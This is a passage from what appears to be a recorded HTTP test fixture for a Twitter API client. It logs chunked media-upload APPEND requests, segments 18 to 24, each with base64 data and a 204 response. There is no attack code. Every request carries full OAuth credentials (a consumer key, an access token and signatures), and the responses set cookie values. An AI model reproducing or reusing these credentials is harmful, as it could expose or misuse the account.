2B0oV7iA%3D&media_id=1254206535166763008&segment_index=18" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:03 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:03 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_ZUua6hlDD9lPcQsr1bFN0Q==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112371858353; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "de49e6924451b60278002f0d21941e4b", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19934", + "x-rate-limit-reset": "1587864356", + "x-response-time": "32", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00986fd2001e1949", + "x-tsa-request-body-time": "98", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"82J3IwDysMO%2BYS5RqBpN972%2BMcA%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=mILNrEB2v7zPqPs5V84gNj%2FmV3k%2BTl%2F%2BFvBsHvkku%2FV661uZo0c8KF9QQkd9Ovnr52GrWw%2BUAe1ef7LR7lBDdAq%2FTQDcaF08MzkgwTVMm8NMhkxYGA2%2BHZ74bnqSp51hE%2F68eJM2MLIILar%2FL6%2Fhuyh9JjWhsLJJcT%2F6GlB%2BYRjQxa%2FhG3HcY7Gfbjl9%2BmZPSvdyFx3Xl8uXLhot3d38JcGmXS6aU29%2FhO%2B6e8v%2FqHLCjGKdbQ4YeijpmBCrhy2Y9isRXnwte5a3OY%2BNJdhmEn%2BRvfhL92%2F08JYZa9XJ6r3geAIG%2FBB8ECu69cvF16%2BbXnesYX2JYXESkFAOGVJQ4%2BbVjZ7rBsR4sN6j4a1Z6YKstzpH%2F9HKrWGVl%2F%2FCxFonPYDhKwex9V4kPIIH%2FmztoKT29rCvaHBnqGpXaoww3P%2Fe7iS3d3fyu9%2F%2F1f8PbmpEjGxhMWZS4mpbA7SqR%2BNlHT%2Fl%2Fs%2FOdYdZF%2F6m1D5JZ6U1vaDP4Y5MxUw%2FcIo4niB4McYJCX8MWmFpk%2FeJ1DbWAg4v17jbekRdjv1vJ%2FjwHmo4rtpUMFQFBkMrh6K01R5%2F%2BptQ%2Fb3uSFDtIC7YzaSJ4jI%2BiXL6wl0wv%2Fgj9S0aUVX%2BtVhDQpZPXqvbl%2BXeqL2vUL63N5n3reMGWv%2FFii5EuH%2B2M%2FtvKVKnatxGtt9v7Ol70uy8bMcn7%2B9OdMLiNDcjOMJnW987%2F5oVLdK2iYxwFRfqHq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5f%2FcT7CPnHmiT238FpNJrPbLf3BaXEPl61XWlbOZfGtNq3r2Fy2%2BB20Ed1EShpS0Q5U%2F2dBW%2Fcl%2FUfu9H%2FaLll%2F6oQatpIYIVOJA61wYYScbszmrudsGPknr47%2Fp5fJ6cFMNjHSozL6GjZEBAdKk4r1Ctx%2BI06fR1bV2q0LCoOEnsfA7icRwUeXQstr%2Fe55fdFIn61FSnFKix40f7EwTbAC%2Fcigi%2FK%2B7IG9iyuP%2B%2BMApWhAOwtsk1xV2eqaMeMv79QSC33YZWZPf5SM79RrvfeT33XrbDB9wyzry0X9hhzc6%2FLzkEEvzerXk%2B0CC7fCXupFpu55y%2FC4x%2BY2G4lsHrsNQW7MPTNbjCvKOytSXdEHEtlmfd%2F64V8msr3Xqu9Pta669XXiKtd0m8cYxGAgxEFYKtWoPLj%2FoXy0AYeSQ7gmCFsTaiYHWPGPer%2B4V80iiDiTVJIeEJ%2F3cf3V%2FkKX6Z%2FvU9Alrmga7M5cowjNJmTEY2Qv3cnldT%2BU%2Bm9%2B5CDYvP%2FBRaMY4xieVN9NhKEbebjNN1nw9%2FbBJmwOPBm3czL9F6rWqy4j0fXaNUifBFhkg3eB67DAh8fBUk%3D&media_id=1254206535166763008&segment_index=19" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:04 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:04 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_btKxKQN4WSAhttxQnJzZMA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112426592690; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "16de19c500e60a675cde556a1e57ec28", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19933", + "x-rate-limit-reset": "1587864356", + "x-response-time": "36", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00850af00058773e", + "x-tsa-request-body-time": "102", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"aqBW0PUIyzdXmrR%2B9Or4LaSuzhU%3D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8ogLVzsP2UbENuLMBvwRC3a8q8wptTcv%2B97%2FBFVjk2X5C8aal8ZrWVVVHhm1xaX3WpIL5MOar%2BJXpeL4Cv4Cv%2BLyeGPwigj%2BzKTN%2BC8u74wD3rjxPj9eCjuO%2BVjYMHxD4%3D&media_id=1254206535166763008&segment_index=20" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:04 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:04 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_RubdtmVo7xLllW0nuPhsag==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112477907001; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "c65b1cbc4ac20682c2d03905d057500c", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19932", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00e2987d00c48b84", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Z0H0fP3xSb7nRUMGCmS3pe8r3Zo%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=O5e2yDrPVtFMZ%2FqPrO%2BTJpO%2BvBaWVmbvWVi5%2FRIPzExpBHeFCZi4P8Fl8tKC7f%2FyxnT%2F1fL%2BT6sv8V%2FoveDHLlr3zX6Lqbw4M5bXMmWv%2FKWwMZDE6yWhPV4kzz52RF9J%2BCIZm3Yy%2BFvLho4rbKxrMGBQEoS%2FXnOsuziA%2F8XYMbON8XBC3U18orIsCRs3b%2FmFxksfL%2F9uyuiuwqEfiprripPfLn6K5%2BvflIfO%2Ffe2vMSfP4ITu7oW5%2BF9AUeVtzFH9%2BWMcu7Bbkk1kX%2BvUN33r43o2G%2FlPX3uzJ4oQhsOAG1jhIWtu%2BCmTLF9LNP8ooKGtbZVDqyrmHtC8QcLAzUPqB90gUlFrchxk7WmvpDLoi2T0gLNtesyQn938JG%2Bs74JqeifpL%2B8QJCAQK3ARf7ATC1F5f9T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UF82FqbJjmX5BI7xhWsXibDTTMkV9%2BUgwol7%2BK2ga%2BV1TBgpTDJfX0EeIcysrJNXD0lil%2BI%2FCIrPjulYxRqGdGrXv4yr1dIIynSuIEYwQppr%2BtflLdJKT%2B6X5Rc%2F66%2FcV7r1IXfZOXOT1%2BspD%2F9SRiPAssXT8v5PQJxfxGG%2FljLJ%2BDsjljR6f%2FFxBOMfJmIw98ixb1TFVWr58G5lP5WIgn1ceX5%2B%2FElBHe96eZGKLmiO%2Bk77vx%2Bc4suWnB1ZrlyGcKgrPc5Cj%2FFGK3iBYEOJnufbGcuJbl1mVBZXlgzhxE%2B%2FYsggcbqebD4fltBOLurkvur%2Fef5fRoJPBIUtteX7kzpZBPwU9q9rf1qBiDDEeJc7i8E4WKjlBWn68TFkBl5VWMeviGlYkS5b2xTl859Txcf981X7x0YCwI4h4X5dOXDIAmRTYo3axOW%2F0POnJz5avV%2FkzX777uVEe%2Be4Jdv6QUCAKwoUKjOPw9%2FpCJRIoFAjDhlUOGdYhwe8OHMxk98IyhANhAbg6vqMt2XbOAcJRVECN%2Fy1EiojIh%2BmLacAAAC3BBmiaJqgV36F5VViPEa%2FU6fq03qmC%2Fifrv%2F9a9%2B%2B1On%2F%2F%2FX2veCX%2BsvEeDHpP1buuVZfrqK9evNMTjtJP72GjAwMIuFUNAv9GguGDvXm75ogNFLwSC0HvBGUw905AgHOWjrl1L8Hy%2BHXuLARoZDBKg3MvB54DzxcZlru4z0nn4E06YKKU%3D&media_id=1254206535166763008&segment_index=21" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:05 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:05 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_BQ1RNKpQMadFzdL7MvUsKQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112534681471; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "86275b5180525091ffbc1d111fa41085", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19931", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00e6a86c009e96d0", + "x-tsa-request-body-time": "117", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"S9yq9rCkkLujG60WUu%2BOjTZUe8o%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=m1LRA0w6w2V57hOoKvwOmXeDJ9v0dr9e%2FVklxPrF%2Bvd9qx7q17CxAhLr%2BFC7ulXcdiHL0xWWxWK%2FvnCmNrn%2BDvgrFYrFYrLYoxWKwAQXXcFEQ0P7sVhZiHLZUZS%2BUoIjAkgQgwCDg76QjFcumk1iRjfdKZNSjTMZlhXgpB2N4owuy1MZFkvqEFkzuksEYx5%2FGyplpgfPliqiUPA6CmhLVXjHJYrxuj10IB%2BCnjoxH8LK8%2BwpdJGQSrmJg0cnFfw0ddrE23bvcFlCTQH%2BrdxxQMVYO3CQfkJEIbPNwDBsHAZHV3K0tnD1YTV3%2BhZUxyyp2rVA28Cndr8fXXk36wV6tV9XSVLUqxWT0jfjSEFZacvuBaIAiuINu7v%2FBLFb4rFd%2BRQgo6yA%2FIDDGDj4DAfL4ObAaB0vzMyaq8cDrHG5bf4DMs5qUGC2CKCiKYR7heO4deSEyj1YAqvkHFlKRr%2FFa6jAQAUxzdt%2Ft6cvh4BZAwOCKEodKGA8UZnVrfOpZbnziZF01ebRDWPl%2FgguGgtVV1qGEiIIE8oJyBX0sJXNsJCAQP864ns5%2BHd%2FaLOfS9JSVzUKRX2pU7%2FWKX1qrmuuf4VWXk90gUC%2FCoSUK8u6TMxYhWo6vjS%2BuX1xEJHEiiiq4tfxFRRn6E%2B7WK%2BXtWnhWX1y%2BlivLri%2F1Y7q8xOilUVWAyfCACqiPsUzVvGPe7sei%2FfE8Ao5KQ5KMsRbdOmTPJ%2FGBkEhWLFDMFSd3NmogsBNbkz6AitLLWbhAqceMVxk2LXiSfXweT1hT%2F9BGFVEy2sFUv69P6vEXz0yRLxMWM4P6YGmdI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TNWhb0s5iDl0fL5YhFLYw8N0wXRh5zXHbKnKAxBAkStsxmJLfcn0cLTmISCaJ91C99oK0d6k4D12NdRAUx2okC%2F3zurhDssTAxmcDggcMhirIhiAR8pJX1DZZOK3oyzXf8nyFLinr8p8G7FsUpqE9e%2FRZpbECuK7t96vrxR3QV2bO78hNIaiCl9X9FOr7Fio6y7cs8vpib5LB0B7vvUyxoKS74gzZqjfffL5xBsO%2Flx0%3D&media_id=1254206535166763008&segment_index=22" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:05 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:05 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_J3xEGjbdsps6E5LJ2GPSYg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112591786886; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "a10919525377c536195f280a1d89bbfd", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19930", + "x-rate-limit-reset": "1587864356", + "x-response-time": "36", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00e2a00300525221", + "x-tsa-request-body-time": "102", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"YliYqSW%2Bs0i%2FSBzeyhfePa38IqI%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=eFE%2FfuFZYMQDlweeA2%2FE74cXimMm3%2F4Kq32OjwQDTEA4D3jMq%2FvFk94TerCHJipQGWOAacQNAY66cnps0oOI8q38V2opyflYEWD44yT%2FBjL9VH8RLlntBHJ%2FNhtB55GuffaC4jdyxGrAEMHEucAAQwUwr1TVeIFRuvQRf9em9Fb8gg%2BPrybMeiM%2Fhne6pjaKxQvXiOdh6UsXuQ25YyeevRoNXl%2BpNoXHmiA%2BgZiT9KY2bDj%2F85fA2NpYo37k8uDb95P2E8s%2FWjYJtp%2BO%2B%2B9IlmMwS%2B708QaJ3ey9bzC0A6xBmi%2BAd%2BSRcqLS4PLcFnpky6gz607UxtD5bQP6DHnZYYtjPZ%2B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DrhYeNmKcF1hG6TN2npNQ2lBsIMp6r9MTGcugoZZuv%2Bf3FbG4dwIdU1ZfcN8nl1fmqVju%2FRTidZmYVUHs7FR5Coo4Pv7ttC62rihDGJugGIn49fQKM4xoLGuwRJCplRsaiG%2F36cjHx0sYeu5T8qZKyhI%2Bnryes2NEOIMplltJE%2FaaO5GA9%2FvZo5RG7CJswL8I2qdlMQlzOe8CJSXD4R4F%2FKh9xtcNf%2BuX4ySdRIlMFR4JuqPXeFBRGpJ8nHC0LDMSCskLeQZLpwM9WHeP4ow899TZrUEzgchHliN0rvfvvHEDK1oposS2OqCiP33j268hNed9%2FovXxHP7orkim1%2FGCi937tuGmWDAqztYtzv3cEatqfv8LF1caQqmXNz%2BEQ0K%2Bv1qn9fhrDC7zr5fbZ%2FBFzERxucVleci%2FHZeOwioOXoJkuNTTAZ%2FYLRNmG93c7GW10wpCDjfh3bP97uzP1M0tI30zt2oL7SSCGy7ymh32vsyKRtkq%2FyMaMLvjuOtC%2BgJN%2FaktfJ29OXzP3JQobk8a9RFiCtEXPbcic6C1RZPzZfBTlUncQ%2FfE5t%2Fd5cnT1ECGYI5eLiefCAgRB1YDtkWmojgp3lsgKuJ0E8zZEbHPftdKKPCdEizOJf8loOzUHVzApK%2BgSChRng1VTekAqD3x678vDYLigmGwa3gT3pFa%2BesKQP4GoECdwuJ8lo%2BiwGF9DxyLsqR0nPo4w%3D&media_id=1254206535166763008&segment_index=23" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:06 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:06 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_c4WdQiv8LuqnO+Cn7ZsVEA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:06 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112648782197; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:06 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "33253acac9df6273309f963caa37c69a", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19929", + "x-rate-limit-reset": "1587864356", + "x-response-time": "30", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0024483800056c59", + "x-tsa-request-body-time": "98", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Yh0FbDtjn0rJvzr5iMUyhMxqP0o%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=%2FN%2F%2Fof1XP6LNXQJRWkzrvJGzy9RmZjlII6tqvU1SrvCBZQrKSK0GP45a%2BS3Uy%2B78EmfvsV56%2Fx9B3eCkjHn%2B8xtjsSy3bQi7tGc0cZyu%2B%2FiYgjNMr5aAxve9RsnDLNK6NvJckXr7iKTy97%2Frb96iRPij%2BKPryR5XSfKbf3fCyDBBrWkbcSW77vMOrH%2Bo9E1Nhvkzjf88cU3jxIJbQlwX5fp07QT%2FNaK52iSrpYquy%2F%2B9eUhpf71ffShItUqT%2F6yUXCsvjbWJ7FBQfP%2F4uEPPKMRr6%2Fxb8v54VZYoVavlsd3fgfgTDsZXyXIS3S2feBeMAkAQeQMWOhG2Ky8nrqT0VyvVgXwQ2r6r1a7k66%2FJ%2FRIt%2BFzEM769bBAF%2BsBmiQyJFihI%2B4q8KnIcSzgVwflG4GND4AAADDpBmikKSgV3ydLiFxkSrruvV5PVg%2FXKp1ruedX%2BT%2F9U632rnfWpqpVFF8vxKv2tV6xfrV8RXrX6v3%2Btfhjy5lyC6FKwbOXXgxKXfz14ccf4e2v%2FAie32%2F%2BcPlbl%2BNS%2FgIMFpiaQP84G0H4YMfGr4VsligwIkQg5%2BJHXjUR1Zm49VqGkg%2FtenXjlBxKKsOxi2Vyi2WjZR12c4QjYgRIb1x0u2nOfk8f%2BsIaqR7l3iiah2X1eX1cr1clwJwNgoOfTUVlwtxbi2WMS4KDfykWO8kCkCgK6OtTapER1UT7Nv4Ng0FOO%2Bby%2BW54OPxIesqjywHJYijMZzXUDCCBXgGREI3ea5MDAI%2BjP4dwiywxjeCwixYbqgwjMH19JrC7MP0iK%2BLgQP0%2B3K0HIjuR8W9IZ9r2WwLrxBCIYXqakBUSx92LpYXp7Pq1mtVt1UxXbt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Lg1oW0S%2BUeEHzLz4KV%2FGKk4S6D4fBANP21VVkJaL1smdZpoJRDLOqkMARrOoeOcQcASKZ%2FZwWSmCqFPE71nnu686GIS3xrYw5h7n5lPglVcdx56f1XNs3RJK95d9vVAXjtlWidNEvpm3CvnD2Ru5f7YPEHl2f3WF%2FO0LrGpW%2F29v%2Fgl1%2BlPR6KW6XTPY2Aycu1JRzC68%3D&media_id=1254206535166763008&segment_index=24" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com 